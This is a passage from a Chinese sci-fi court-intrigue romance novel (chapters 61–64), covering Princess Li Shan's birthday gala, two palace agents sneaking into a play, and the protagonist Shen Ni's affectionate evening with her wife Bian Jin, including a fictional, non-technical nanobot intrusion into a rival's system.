李煽听不清她们俩在说什么,有些在意,但是又不想侧身去探听。
一种被排挤在外的烦躁感令她不悦。
这个包厢本来是为她和沈逆两个人准备的。
李煽也没有想要说些别的私密话题,无论她对沈逆是何等心思,沈逆已经成亲,她当然不会不自爱到勾引一个已婚女人。
她只是想借着生日庆典的由头,与沈逆说说只有机械师才懂得话题。与她交心,哪怕只有只字片语都好。
没想到李极居然不请自来。
而且看她们那副姿态,似乎真的已经熟识。
念及那一大箱子的星河铬素,是李极的人以沈逆的名义送来的,莫非她俩真的已经结成联盟?
若是李极得到沈逆支持,皇姐处境将极为不妙。
李煽心口闷闷的,却听沈逆道:“安王言重了,下官身正不怕影子斜。”
声音不大不小,正好让李煽听见。
沈逆当然知道李极在打什么如意算盘,想要当着李煽的面假装她们关系匪浅,沈逆自然不会吃这亏。
沈逆这番话不算冒犯李极,却让李煽听得一清二楚。
李煽望着将要开始演出的舞台,不咸不淡道:“安王病好了吗?”
李极:“承蒙姐姐关心,好多了。”
李煽:“病好了,有空找靖安侯,没空去向皇姐问安?”
李极:“皇姐都没怪罪我,姐姐倒是先发话了,果然是七王之首,好大的威压。这般凶悍,怕是要吓着我们靖安侯。”
沈逆单手撑着下巴,优雅斜靠在沙发背上,努力忽略着李家姐妹吵架把她当刀子互捅的事儿。
顺便将纳米机器人放了出去,一点点入侵李煽的防火墙。
直接黑她系统肯定会被发现,但是纳米机器人在李煽注意力被李极转移时,一点点非常缓慢地入侵,则很难被发现。
果然,顺利进去了。
一会儿李煽饮酒,意志薄弱时,还能加快进度。
沈逆悠然喝着果汁。
你们吵吧,我看戏。
第62章
好不容易熬到了交班的时候,房判饿得肚子咕噜咕噜直叫唤。
窦璇玑塞给她两个饼,又递了一瓶果汁过来。
房判:“熬了一整夜和一个上午,就吃这?”
听她这么说,窦璇玑把饼和果汁都拿回来。
“爱要不要不要,我正好缺钱,省了。”
房判:“你省什么呀?我请你呗。”
窦璇玑最近一直都在存银子,想这多攒点钱,回头知道到底是谁帮她换的玉璧,也好还给人家。
她最是不喜欢欠人人情,一旦欠了谁的人情,就满心想要回报对方,尽快两清。
可她是丽景门的女官,她的一切早就在门主施舍给她第一口饭时,全部献给门主了。入丽景门时曾发誓此生效忠于门主,效忠天子,不能有二心。
否则,不仅对不起自己,也是丽景门的叛徒。
所以,她只允许自己和门主以外的人有金钱上的瓜葛。
钱还完了,也就没牵扯了。
窦璇玑和房判一同守过无数的夜,在旁人看来冷酷无情,只是天子手中一把脏刀的丽景门女官,偶尔也会在深夜时分,向搭档吐露本就不多的一点点心事。
房判在听完她所言后,问她:“那沈逆呢?”
“靖安侯对我有救命之恩,我无以为报。只要她不和门主发生冲突,她想让我做何事,我便为她做何事。”
“那如果她和门主发生冲突呢?”
房判不是一个会对别人的事追根究底的人,可是那一刻她的确想要知道窦璇玑的想法。
想知道窦璇玑对门主的感情是不是如她所想,并不只是单纯的上下峰之间的情谊。
窦璇玑是一个将“知恩图报”写入骨子里的人。
这个世界遗弃了她,所以任何一个向她伸出友善之手的人,她都会倾尽所有报答。
那如果两边都是她的恩人呢?
窦璇玑果然陷入了沉默。
“不知道。”
等了良久,直到夜将走到尽头,窦璇玑才说。
“希望不要有一日吧。”
别人只道窦璇玑面冷心更狠,只有房判知晓她重情重义。
只是她在意的人,暂时还没有人将她当回事。
剩下的么,就是她根本不在意的人。
房判说“我请你”,窦璇玑随口说了句:
“不用了,就咱们那点俸禄,你还是留给自己吃喝玩乐去吧。”
房判被噎了一下,接过窦璇玑的饼,咬一口。
窦璇玑斜她一眼,“不是不吃?”
“你送我的,免费,干嘛不吃。”
窦璇玑提了提嘴角,算是笑了。
两人一边啃着硬饼配廉价的果汁,一边等着交班。
同僚来了,双方同步了一下今天排查过的区域。
同步的时候,窦璇玑发现房判不知道被什么吸引,心不在焉一直往某个地方看。
来交班的是上回和她们一起去接沈逆上朝的那对模样恐怖的搭档。
其中之一是她们的队正,算是她俩的直属上峰。
窦璇玑不想房判开小差被发现,悄悄在她后背为数不多的原体上拧了一把。
房判立刻挺直了脊背,转回注意力。
到底没被发现,双方交接完毕,熬两个大夜的搭档终于能回去休息一日。
窦璇玑问:“刚才在看什么?”
房判指着远处灯火通明,隐约传来些澎湃丝竹声的地方。
“今晚有演出?长安城好久好久都没有演出了。”
“房判,之前门主布置任务的时候,你脑子又不知道游到什么地方去了?今晚是永王生辰庆典,中央剧院里专门为永王上演《金风玉露》。这会儿文武百官全都在中央剧院,估计天子都在。”
“什么,《金风玉露》?这剧都已经多少年没演了,居然有重见天日的时候。错过的话,不知道什么时候才有机会再看到了。”
“……所以你听人家说话,就只听你想听的那个关键词是吧?怎么,你对这部剧很感兴趣吗?”
窦璇玑的生活里除了任务就是任务,没有任何私人消遣。
看她然了无生趣的寝屋就知道,她是个极简主义者,生活和情感上都是。
房判不一样,窦璇玑在她的屋子门口看过一眼,里面乱七八糟什么都有。
和自己相比,她是一个极繁主义者。
喜欢吃,喜欢收集各种纪念品,对什么戏剧感兴趣也不奇怪。
房判“嗯”了一声,道:“我很小的时候,耶娘带我去看过。”
她没说后来,窦璇玑也明白她没说出口的话。
后来自然就是和窦璇玑一样,成了孤儿。
窦璇玑想了想,说:“走。”
房判:“去哪儿?”
“看戏啊。”
房判:“……你不都说了,今日是永王生辰庆典,被邀请的是文武百官,我们进不去的。”
窦璇玑:“京师还有我们丽景门进不去的地方?”
房判:……
虽说这话没错吧,可是也太冒险了。
“璇玑,咱们已经交班了,不是当差的时候了。”
窦璇玑嫌她啰嗦,一拳捶她胳膊上。
“你不说我不说,谁知道。”
房判:……
房判提心吊胆地跟在窦璇玑身后,到了剧院门口,剧院属员和执行的武卫都在此守卫。
幸好没有丽景门的同僚。
他们看向窦璇玑和房判,自然是一眼就认出了她们是无孔不入的丽景门女官。
“排查。”
窦璇玑理直气壮丢下两个字,武卫便半个字没多说,帮她们开了门。
房判跟在窦璇玑身边,看上去镇定,其实心里紧张得很。
一进去,果然看到真正在此巡查的丽景门同僚。
“这里。”窦璇玑拉着房判走进通道里。
她俩走的是属员通道,只能到二楼偏角的位置。
视野被遮挡了不少,可剧院的氛围还是一瞬间让房判心潮澎湃。
庞大的剧场和潮水般的丝竹与唱腔,一瞬间把房判带回到童年还有家时的记忆。
一颗灰冷的心,瞬间复活了。
二楼包厢内。
送来多少水果沈逆就吃多少。
无论李煽和李极怎么互怼,明枪暗棒的她一个都不接,嘴是没空应的,只忙着进食。
肚子里的空间有限,到底是吃饱了,怕嘴空闲下来不搭理这两位金枝玉叶显得太过刻意和无礼,沈逆在吃最后一串葡萄时,开始寻觅下一个借口。
居然被她看到两位老熟人。
房判和窦璇玑站在二楼角落,为了能够看清舞台,房判大半个身子都探出去悬在空中,掀开了帷帽,正看得全情投入。
而窦璇玑站在她的身后,单手拎着她的后衣领,以防她掉下去。
沈逆打开包厢的窗户,对房判和窦璇玑招手。
窦璇玑率先发现了沈逆,跟房判说了一句什么,房判立即将帷帽遮下来,挡住她只有一只眼睛的丑陋面容。
沈逆向她们招招手,示意她们过来。
房判:“靖安侯好像在叫咱们。”
窦璇玑:“过去看看。”
沈逆热情地把她俩迎进包厢,和自己一块儿坐在沙发上。
原本还以为只有沈逆一个人在包厢。是有点不好意思,但是这么好的位置,房判能看得更清楚,窦璇玑便厚着脸皮拉她进来。
结果刚进来,就和冷着一张脸的李煽对视上了。
窦璇玑和房判立刻单膝跪地行礼。
沈逆问李煽:“殿下,这包厢这么大,多下官两位朋友一同看戏,不会打扰殿下的雅兴吧?”
沈逆都这么说了,李煽能说什么。
虽然她讨厌韩复,连带着丽景门的女官都让她不喜。
不过既然是沈逆的熟人,她也不好有什么微词,不然显得她这个永王小家子气。
李煽道:“坐下一同赏戏吧。”
房判和窦璇玑就这样被沈逆招呼着,坐到两王中间。
不过那时她们并不知道,另一侧的人正是最近京师的话题人物,还未在人前露面的李极。
窦璇玑用余光打量,只觉得此女貌美无双,即便坐在一旁半个字没说,依旧让人难以忽略她的存在。
相比于窦璇玑还保持着丽景门女官的敏锐,房判已经被包厢绝妙的视野和演出吸引。
沈逆递了颗桃给房判,“这个视角是不是特别棒。”
房判双手接过,开心地用力点头。
窦璇玑心道,真是个容易收买的傻子。
窦璇玑觉得房判很不适合进丽景门。她有自己的追求和喜恶,能在这破碎颓靡的世界里找到属于自己的乐趣,她应该拥有完全不同的人生才是。
窦璇玑正想着,身侧的李极站起了身,走到沈逆身后。
窦璇玑的注意力立即追过去。
这女人看似柔弱,但以窦璇玑当差多年的经验判断,此人绝非等闲之辈。手已经放在了武器上,那女人要是对沈逆不利,窦璇玑会立即将她隔开。
李煽侧目。
李极在沈逆耳边说了句什么,刻意压低声音,不让旁人听见,还是那老一套。
沈逆却用平常大小的音量回应:“下官公事繁忙,恐怕没有什么空闲的时间。正好永王殿下在此,您有什么为难事大可现在就说,下官能力有限,无法为您办到的,殿下说不定能为您做主。”
沈逆这番话让李煽听了个一清二楚,证明她和李极没有任何私密接触,也没有投入李极的麾下。客气地与李极划清了界限,却也没有完全把两个人的关系说死。甚至连李极并不想透露的身份都继续帮她藏着。
无论哪一方都挑不出沈逆的错处。
李极留下一个遗憾的笑容,离开了包厢。
李极一走,李煽在此显得格外多余。
正好侍从来提醒她,演出即将结束,之后就是为殿下准备的筵席,殿下可以去更衣准备了。
李煽留下一句“你们慢慢赏戏”,随后离开。
包厢中只剩她们仨。
上次沈逆搭救之事,窦璇玑还没来得及感谢,这次抓紧时机当面谢恩。并承诺沈逆,回头不方便自己亲手办的事儿可以找她,只要不是和丽景门相冲突的,她义不容辞。
沈逆问她:“我可听说你们丽景门门规森严,只能为圣上一个人办事。你这么做,不怕被你们门主知道狠狠罚你么?”
沈逆的确聪明,窦璇玑藏着没说的事都被她一语拆穿。
包厢里只剩她们,房判也放开了,站到琉璃墙前面,跟着丝竹乐曲小声地哼唱,完全没听到身后人在说什么。
沈逆继续说:“当初我在车站为你做手术的时候,你已经不省人事,不知道你那小搭档有多担心你。她说只要我能救你,她的命为我所用。你们一个个的都要把命给我,我拿这么多命也没用。自己的命还是自己保管吧。有空来我侯府做客就行,随时欢迎。”
窦璇玑有些意外地看向房判的背影。
“是么……”
房判这么在乎她,让她意外。
沈逆真把她们当成朋友,也让她意外。
向来只有接受命令,让人害怕,敬而远之,从来没有被谁邀请到家里做客,窦璇玑一时不知道该怎么回应。
沈逆不想打扰她俩,便找了个借口离开。
“我看到一位老友,下去聊聊。你们就留在此处,我去说一声,没人会来打扰你们。”
窦璇玑替房判道谢:“多谢。”
就在沈逆走出包厢的时候,另一侧,最高处御用包厢内,李渃元收回了注视沈逆已久的目光。
李渃元问身侧的韩复:“那两个人,是咱们丽景门的吧。”
韩复:“是的。”
李渃元两只小手捧着自己的脸,烦恼道:“她们和沈逆走得这么近么?阿复,丽景门可是朕最亲密,最信任的,门内掌握许多帝国秘要。若沈逆插手丽景门的事务……可就不好办了啊。”
不用李渃元多说,韩复知道她言下之意。
“臣明白该怎么做。”.
演出结束,永王的生辰筵席正式开始。
李煽换了一身月光白襦裙出现在筵席上,外搭星汉披帛,发髻上一朵绝色牡丹,一出现便成了全场瞩目的焦点。
在府中休养了两日,虽还未能达到先前的气色,到底恢复了一些。
百官前来贺寿,盛赞永王殿下绝美无双。
听多了恭维话,李煽兴意阑珊地握着鎏金酒盏,目光下意识地在人群中寻找沈逆的身影。
找了好几圈,终于在角落里发现沈逆。
沈逆正被几位吏部高官缠着“闲叙”。
先前言官们无凭无据,试图诬陷沈逆是杀死曹肃的凶手,也是吏部这些人帮她给骂回去的。
现在吏部尚书是李极外祖父的门生,她外祖父虽已经致仕归乡,但在朝中依旧颇有话语权,这些人应该是为了李极来拉拢沈逆。
李煽很不喜李极私下的手段。
在睦洲养的那些私兵,皇姐都看在眼里,只是从来没有戳穿罢了。
先前在睦洲养精蓄锐,这么多年没来探望过皇姐。
皇姐体衰,倒是立即冒了出来。
豺狼野心藏都不愿意藏了。
曹肃之死不用多说,自然是李极的手笔。
李极一方面帮沈逆扫清障碍,试图拉拢她,与此同时再私下怂恿言官给沈逆扣帽子,在朝堂上孤立她,再派吏部出手支援。
给一甜枣敲一棒子,再给一甜枣。一般人被这般纠缠、诬陷、孤立后再奉承拉拢,恐怕是扛不住的。
但沈逆可不是一般人。
沈逆根本不在乎,这些手段沈逆看在眼里,没有任何反应,甚至觉得他们有些可笑。
旁人拥着李煽,李煽的目光围着沈逆。
沈逆今晚穿着绯袍,头戴玄色幞头,平时上朝怎么穿,今日就怎么穿。只是外面搭了一件典雅的斗篷。
和旁人一样的官袍,却被她穿出了完全不同的风味。
无论再多人纠缠她,她都是那副冰清水冷的表情,对任何人的任何话都不太感兴趣。
孤傲的天才,能够造出堪称艺术品的杰作,无人能望其项背。
沈逆这样冷淡清高拒人于千里之外的天才,仿佛天生就与情事欲望无关。
李煽实在无法想象她会对谁动情,又和谁有亲密接触。
都说她和边烬其实感情很好,李煽也亲眼目睹过她护着边烬的样子。但能看得出来,两人之间有利益相关,所以同仇敌忾。
不似真的伉俪,她们之间是契约,是有隔阂的。
只是,这些都是李煽一厢情愿的想象。
而清高的靖安侯,最后也没来向李煽敬酒。
手里那杯本该敬给永王的酒,被沈逆自己慢悠悠地喝了。
沈逆大概觉得筵席人太多,少她一个敬酒的李煽也发现不了,所以根本没上去。
摆脱吏部的人之后,沈逆便开始一边喝酒一边低头飞鸽传信。
有闲情传信,也不来搭理今日费心打扮的主角。
李煽也不知在跟谁怄气,但凡来敬酒的她全喝了。
群臣发现,矜贵的永王今日格外好亲近。
但这亲近也仅限于敬酒,永王面上可是半点亲切也寻不见。
喝到最后侍从怕她出事,过来阻止。
沈逆见李煽果然喝多了,缓缓加快了纳米机器人入侵系统的速度。
嗡——
沈逆先前发给边烬的消息,很快收到回应。
边烬说她就在附近,筵席结束的话,她就将马车驾过来,接沈逆回家。
“回家”二字,让沈逆露出了参加筵席后的第一丝真心实意的笑。
这个笑被人群之中的李煽捕捉到。
原来她也能笑得这么温柔。
看沈逆往外走,已经被酒弄得浑浑噩噩的李煽,鬼使神差地撇开众人,提起裙子,步伐凌乱地跟上去。
第63章
不仅在筵席上露了面,还在包厢里亲自向李煽恭贺生辰,今晚沈逆算是功成身退。
不想在这满是酒气的浮躁场合里呆着,除了吏部那帮人纠缠不休,还有不少在角落里虎视眈眈,太费神。
沈逆走出中央剧院,离开浑浊的酒气和人味的包围,长安的晚风都显得清新了几分。
边烬飞鸽传信过来,说因为李煽的生辰庆典,中央剧院附近交通管制,所有的马车不让通行,她把马车停到路边,步行进来。
边烬:【出来了吗?】
【出来了!】
不仅出来了,还在给自己消毒,喷上边烬喜欢的香味。
保管一会儿见到的是干干净净又香喷喷的师妹。
【你等我一会儿,我尽量快点到。】
【不着急,我就站在中央剧院南门的台阶这边等你。】
毕竟是提前偷跑出来的,不太好站在大门口,太高调。
南边有个侧门,人少。
在飞鸽之前,沈逆想了想,在句尾又加了个“呀”字。
“等你”就变成了“等你呀”。
之前觉得这个字太有花痴意味,现在么,沈逆只想尽情花痴。
反正她喝了酒,有点晕晕的。
此时不犯花痴,更待何时。
咻——
传信飞出去时,沈逆已经开始对着边烬可能会来的方向眺望。
顺便看看纳米机器人入侵的进度。
纳米机器人已经找到了李煽系统模块里关于最高研发署的权限部分。
李煽到底是S级的机械师,即便纳米机器人成功入侵,若是在她系统内大肆复制的话,肯定会被发现。
但只复制一个小小的权限,沈逆有把握她不太能察觉。
复制的进度条呈现在沈逆的视网膜上。
复制刚刚完成,台阶下闪出一抹耀眼的颜色。
是李煽。
沈逆心里一咯噔。
不会吧,这么快就被发现了?
李煽从大门方向绕过来,在夜色中左顾右盼,焦急地寻找着什么。
当她抬头看向台阶之上,和沈逆对视时,飘摇的眸色忽然定了下来,像风浪之中无依无靠的小船,突然发现了地平线。
沈逆沉了沉心思,换上一副公事公办的淡漠,不咸不淡地唤了一声:
“殿下。”
李煽还穿着那身华贵的礼服,提着裙摆快速走上台阶。
喝了太多酒本来就不清醒,又走得匆忙,被台阶绊了一下,身形一晃,那张漂亮的脸蛋险些被冰冷的石阶磕破相。
幸好沈逆抬手扶了她一把。
沈逆单手托了一下她的胳膊,待她找回平衡之后,这只手就相当绝情地离开了。
“你没来向我敬酒……”
李煽身子还有点晃,说话咬字的声线也比平日里轻许多。
不像是质问,倒似埋怨。
远处的灯光照亮李煽浮着酒气绯红色的脸。
平时李煽不太愿意正眼看沈逆,一贯保持着永王的高傲。
此时,却是站在台阶之下凝望着她,舍不得似的移不开眼睛。
沈逆没下台阶,和她隔着两阶,就让这金枝玉叶仰视她,保持着谁也不会误会的距离。
原来不是发现了,沈逆道:“那么多人都向殿下敬酒了,少下官一个不少。”
沈逆这句话相当逾矩,无论任何一位王听到都会呵斥她一声“大胆”。
偏偏李煽不仅没有呵斥她,反而垂下眼眸,无声地委屈。
“可我,只想喝你敬的酒。”
沈逆听到这句话,便知道自己该走了。
沈逆欲要离开,李煽慌张地拉住她:“等一下……”
沈逆冷言:“殿下是真的醉了。”
李煽的确醉得不轻,拉沈逆的这一下险些将自己带倒。
她脚下站立不稳,但仅存的意志让她没有恬不知耻地往沈逆怀里靠。
“我……我只是想感谢你。没有你的话,最高研发署无法研制出能够随身携带的虚电容箱的。沈逆,我只是想谢谢你。”
帝国的玉叶金柯,一向倨傲的永王,此刻正站在台阶下仰视着比自己小了六岁的女人,想一诉衷肠。
又知道自己的衷肠早也不合时宜,短短几句话说得磕磕巴巴,压抑又痛苦,话不敢说重了,只怕对方生气。
无论李煽说什么,沈逆的神情都没有任何变化。
冰冷无情,好像完全没听到她所言。
李煽还待开口,沈逆对着远处终于找过来李煽侍从道:
“殿下在这。”
侍从立即赶来,见李煽摇摇欲坠,要不是沈逆扶着,恐怕此刻人已经倒在石阶上了。
侍从们一头的冷汗,永王刚才还在筵席上,转眼就不见了。要是永王出了什么差池,他们脑袋不保。
只是,侍从们都有些好奇,殿下和靖安侯在这人烟稀少的南侧小门做什么呢……
心中升出某种猜测,也只敢在心里嘀咕。
昏昏沉沉的李煽被侍从带走,怎么回的暖阁不记得了,贴身侍女见她脸色苍白,歪歪斜斜地靠在案边,撑着脑袋眉心紧锁,生怕她会呕吐,立即送来一罐解酒的营养液。
勉强喝下营养液,酒劲立即驱散不少。
恶心的感觉还有,起码呕吐的感觉被压了下去。
李煽缓了缓,支着头疼欲裂的脑袋,想起了之前发生的事情,问侍女:
“靖安侯呢?”
侍女道:“靖安侯并未跟来呀。”
这处暖阁有扇窗正好对着南侧小门的石阶,李煽艰难地撑着身子走到窗边,想看沈逆还在不在。
这是三楼,唤一声,楼下也是可以听到的。
她不知道自己还想对沈逆说什么。
其实她什么都不能说的,她不是不懂。
平日里还能装模作样地藏着掖着,一喝酒,满肚子不知道从何而来的委屈便往上翻涌。
就算沈逆对她爱答不理,甚至是冷言相向都好,她只想唤一声那个特别又好听的名字。
推开窗,夜晚凉风迎面拂来,将她吹得一激灵,彻底清醒了。
沈逆的确还在南门石阶上,不过此时石阶下多了一个女人。
是边烬。
边烬居然来接她了。
沈逆提前离席,也是因此么?
沈逆距离地面有三四阶的台阶,边烬正要往上走,她立即快步迎下来,走到最后一个台阶故意停住,伸出手,似要边烬牵她才下来。
这等小孩心性的沈逆,李煽从未见过。
沈逆微微偏着头,一副小女孩儿的姿态,等着边烬宠她。
即便沈逆全程用后脑勺对着李煽,李煽都能想象出沈逆此刻的模样。
一定笑得很开心。
沈逆的确笑得很开心。
反正四下无人,她乖乖地听边烬的话来赴宴了,边烬特意来接她,她装模作样非要边烬牵,不然不敢从不到半尺高的台阶上下来。
明知沈逆在耍赖,边烬也只是无奈地笑,拿她没办法,只能去牵她。
沈逆赖皮,边烬牵了她,她还不下来。
“今天份的亲密度呢,只靠牵手可完不成。”
边烬:“你是不是喝酒了?”
沈逆:“一点点。”
边烬知道她的酒量,洞房那夜喝合欢酒都辣得她不适,可想而知这六年来酒量毫无长进。
“原来无所不能的侯君酒量这么差?”
沈逆理直气壮,“嗯,就是这么差。”
刚才面对李煽时,即便也有点犯晕,但不想酒后有失仪的可能,所以一直强迫自己硬撑着。
这会儿边烬来了,沈逆完全不用再克制。
边烬捏了捏她的指尖,轻声说:
“幕天席地的说什么亲密度,回府再说吧。”
沈逆:“你说话算话?”
沈逆纠缠不休,边烬也对她半点脾气没有,柔声道:
“我何时说话不算了?”
“当然有。上元节那日,我等得好辛苦。”
沈逆一边诉苦,一边自己跳了下来。
“约好一起看火轮的,你失约了。”
先前沈逆从未提及,酒后突然玩笑话般地说出口,看来当时真是挺委屈的。
边烬道:“先前与你解释了,是遇上那两人……”
边烬还没说完,沈逆便“嗯”了一声:“我知道,可当时就是难受了,心里痛痛的。”
灯火映在沈逆水濯过似的黑瞳内,不知是不是光线原因,感觉她纤长浓密的睫毛湿湿的,指着自己心口的指尖都比平日里要粉上许多。
脸庞白中透粉,蜜桃般的可爱。
边烬被她美得晃神,她的委屈便愈发往边烬心里钻,忍不住继续惯着她。
“那要怎么办呢?”
沈逆若是要与她在寝屋之外的非私人场合行一些亲密事,她可能真的做不到。
不过可以允诺,回去之后再……
大概是最近接触得实在太深入,做了很多亲密之事,边烬脑中联想的尽是些相贴相吻的场面。
没想到沈逆说:“害我心里痛痛的,只有师姐和我十指相扣才会好。”
边烬:“就这么简单么?”
“哦,原来师姐已经想到更复杂的了。师姐想到什么了?”
沈逆这张脸,不笑的时候冷感十足,一笑起来双眼弯弯的,天生机灵鬼的模样。
被说中了心思,边烬耳朵有些热。
“我说不过你。还要不要十指相扣了?”
沈逆:“要!”
沈逆五指迫不及待往边烬的指缝里揉,不仅十指相扣,还时不时用指尖勾边烬的手套边沿。
边烬小声提醒沈逆道:“触觉指数还是很高的……”
“哦。”
老实了一会儿,很快又开始勾。
边烬没辙,虽然触觉指数还是很高,但也不太忍心让沈逆失望。
也不说她了,就任凭她作弄。
往外走的一路,沈逆都紧紧挨着边烬,脑袋一直往她肩头拱。
边烬肩头有一处骨头断过,用合金替代,怕沈逆不知轻重这么拱着磕伤自己,抬手护着她。
沈逆在边烬耳边说了句什么,笑着说的,鼻尖都要蹭到边烬的耳朵了。
李煽全程看着,越看心头越酸涩。
沈逆这样的人竟会撒娇。
如果沈逆向自己撒娇……
李煽呼吸一滞,立即将窗户关上。
站在一旁的侍女不知道李煽看到了什么,原本喝了营养液已经好了些。入魔般在窗边看了许久,再回来时脸色直接发青了。
侍女担忧地问:“殿下,要回永王府么?”
李煽妆容未卸,盛装着身,不管不顾就这样倒在软塌上,心烦道:
“不回。就在这睡。”.
大半个时辰前。
演出结束之后,房判还哼了半天《金风玉露》的曲子。
房判整张脸做不出表情,声带也早就被烧毁了,出发的是毫无感情的电子音。
即便如此,窦璇玑也能听出她很开心。
窦璇玑跟在她身后下楼梯。
“看把你开心的。”
“当然开心,谢谢你璇玑,还有侯君!”
窦璇玑“噫”了一声,“还侯君,叫得真亲热。对了,沈逆说咱们有空去她府上做客,你说,初次登门拜访需要准备礼物吧,准备什么好?”
房判:“真的?邀请咱们去做客,啊……我也没做过客,不知道准备什么。买点好吃的怎么样?”
“就知道吃。”
“那你决定。”
被堵了一嘴,窦璇玑更不知道送什么礼物才好。以前她所谓“送礼”都是送人归西。
“行吧,吃的就吃的,你带着我,咱们一起准备。买好我去发拜帖。”
“好噢。”
房判和窦璇玑自然是没有资格参加永王生辰筵席的,从包厢出来后便低调地顺着属员通道离开。
谁知在中央剧院实在太大,正好赶上散场,本来对这儿的路就不太熟,两人聊着天没看路,走着走着居然迷路到了后台。
房判道:“等会儿,我看看路线图。”
窦璇玑等着房判的时候,一面绯红色的扇子舞到她眼前,浓郁的香脂味扑鼻。
窦璇玑以为是演出的舞姬不小心胡闹到她眼前,并没有理会,目光都没转过去,只是嫌弃地偏了偏脑袋,躲开了扇子。
没想到下一刻,那扇子合拢,直接挑她下巴。
窦璇玑双臂交叉抱在身前,一身煞气十足的丽景门官服,武器不离身,再加上她常年不爱笑,长着一张凶巴巴的脸,居然有人敢来戏弄她。
睎向身侧,这舞姬就是方才演出的群舞中的一员,浓妆艳抹,薄纱遮面,双眼含情,颇有姿色,身材也非常傲人。
窦璇玑本不想理会她,挥开那不安分的扇子,一记冷眼道:
“滚。”
当差这些年她也不是没被人挑逗过,当真有些不怕死的明知她所属丽景门,还敢来投怀送抱。
只不过她对这等事一向没兴趣,向来不为所动。
一般女子被她这么凶一下,定是知难而退了,甚至会被凶哭。
谁知这舞姬不仅不退,还继续不识好歹,再来挑她下巴。
窦璇玑扣住对方的手腕,直接将人用力摁在墙上。
“挑衅丽景门女官,你有几条命?”
这舞姬比窦璇玑高上一些,窦璇玑仰着头狠瞪,倒也半点不落下风。
那舞姬被她摁在这儿却完全不挣扎,反而娇声道:
“女官姐姐好凶哦,再对人家凶一点。”
窦璇玑:……
这声夹着嗓子,还是被窦璇玑听辨出来。
再去瞧那双露在外面的眼睛,认出是谁了。
收回“颇有姿色”这句话。
窦璇玑立即撒开她,后退一大步,鄙夷地甩了甩手。
“姓李的,你有病。”
“哟,小狗鼻子挺灵,居然认得出人家。”
李司索性坐到一旁放置道具的木箱上,丰腴半露,毫不吝啬地展现自己的好身材。
窦璇玑:“再叫我小狗试试?”
李司见窦璇玑对她依旧这么凶神恶煞,放心了。
看来房判的确没有说出真相。
李司继续娇声道:“女官姐姐饶命,奴家不敢了。”
“……你几岁,叫我姐姐。”
“哎呀,叫小狗不行,叫女官姐姐也不行,你可真难伺候。而且怎么好一上来就打听人家年龄?”
窦璇玑:“脑子被哪扇门夹了,要不要我帮你治治?”
“官家你好厉害,还会医术,怎么治?”
“好治,给你脑袋开个洞,通通气就好。”
李司:……
李司这身舞姬的演出服实在太过性感,低胸又露腰,窦璇玑都没法正眼看她。
“你为何会在这儿当舞姬?”
“业余爱好,哪有跳舞的活儿哪儿就有我。”
“你还会跳舞。”
“这话说的,我在洛阳可不止是喂马,还是远近知名的舞者。”
窦璇玑本来还想继续问下去,忽然发现自己有点多嘴。
干嘛要知道她的事。
房判这时候也回来了,看到李司,没认出来,低声问窦璇玑:“这漂亮姐姐是谁啊?”
李司用扇子遮面,万分得意,笑得跟狐狸精当场要现形似的。
窦璇玑对天翻了个白眼,“房判,你该去看看眼睛了。”
房判:?
窦璇玑的电子表嗡嗡地震,她低头看了眼,神色微变。
房判立即警觉,“发生什么事了?”
窦璇玑恍惚了一下,脸先热了。
“没,没事,门主让我现在去找她。”
“门主?直接去找她?”
不怪窦璇玑和房判惊讶,她们上头有队正,所有差事由队正监督,平日里是没机会直接和门主见面的。
韩复突然让窦璇玑直接去见她,可是件稀罕事。
李司觑着窦璇玑脸庞上掩藏不住的红晕,心道,明白了,难怪为丽景门这般卖命。
小狗没品,喜欢那瞎子。
第64章
靖安侯府。
回到侯府,边烬先去沐浴,沈逆后去。
待她头发都吹干了,沈逆还没回。
边烬忽然想起,喝酒再沐浴有可能会不舒服,便去热泉外唤她。
“师妹,你没事吧。”
沈逆其实是睡着了。
打异兽都没去筵席上敷衍来得累人,沈逆浸在热泉内,背靠着温热的岩壁,舒服得不知道何时入了睡。
等听见边烬唤她的声音,方从睡梦中醒转。
这一觉睡得她浑身舒爽,但听边烬问她是否因为喝了酒又沐浴不舒服了,她立即娇弱地答了一声“是”。
边烬:……
回答得太快,怎么都不像真的。
沈逆也知道自己假得很,完全不在乎边烬相信与否,即便不信,也不耽误现在她在边烬面前恃宠而骄的做派。
“起不了身了,师姐能来帮我一把吗?”
沈逆的声音从里面传出来,带了些回音和水声。
边烬有些犹豫。
“师妹有力气自己穿寝衣吗?”
方才的水声就是沈逆去岸边拿浴巾和寝衣了,身子拭了一半,听边烬这么说,立即收到暗示,把浴巾丢回置物筐,重新浸到水里。
“没力气。”
沈逆的意思很明显了,要她过去抱抱才能起来。
边烬的手曾经隔着衣物,间接感受过沈逆的身材。
大部分都是原体的身躯和边烬把玩过的武器都不一样。
柔软滚烫,脆弱却动人。
边烬:“你真的没力气了吗?”
“真的,头很晕。”
沈逆觉得自己就像勾引圣僧的坏狐狸,一点点地设下陷阱,就看那清心寡欲之人何时进入陷阱,一层层将她的欲念剥出来。
热气之中,穿着素白寝衣的边烬散着齐腰的长发,慢慢走到热泉边,在气雾氤氲间伏低身子。
隔着一层雾气,边烬的脸庞看得不太真切,只有那双清正的眼格外吸引人。
边烬伸手摸了一下沈逆的头。
“很晕?”
沈逆“嗯”得心安理得。
边烬拿来宽大的浴巾,说:“靠过来些,我帮你裹上。”
破水而出的声音近在耳边,被热泉泡成樱粉色的玉体在迷蒙的水汽里若隐若现。
即便如此,一想到这是沈逆的身子,和小时候为她洗澡时已经完全不同,发育成成熟女人的身子,边烬还是有些不自在,手速极快将沈逆裹上。
吸掉了水后,寝衣罩在外面,浴巾便从里面掉落到脚边。
干燥舒适的寝衣包裹住沈逆的身子,见边烬还没转回视线,沈逆在她毫无防备的唇上亲了一下。
“师姐,我长大了。”
沈逆挨上来就要宽衣,边烬意识深处忽然闪现一丝本能的拒绝,压住她的手,说:
“不是难受么?我抱你回去。”
沈逆便停下了动作。
感觉到边烬拒绝得很真心,似乎有别的顾虑。
本想一口气冲到六十分的。
是不是还是太快了?
缠了她这么多日,才刚刚盼到她主动一点,不好将她吓回去。
其实师姐能这么快对她主动,已经超乎她的预料了。
沈逆没再造次,但今日份的亲密肯定不能往下掉。
一点点来。
沈逆环住边烬的脖子,等着她抱。
看沈逆这么依赖自己的模样,边烬又觉得方才拒绝得太冷淡,师妹也是为了助她开连理模块才主动。
稳稳地将沈逆抱起来,回到寝屋。
一到寝屋里,就被沈逆缠倒在床上,开启唇齿,尽情掠夺。
吻得太烈,没有穿好的寝衣从肩头滑落,沈逆也懒得去整理。
谁不好意思谁整理。
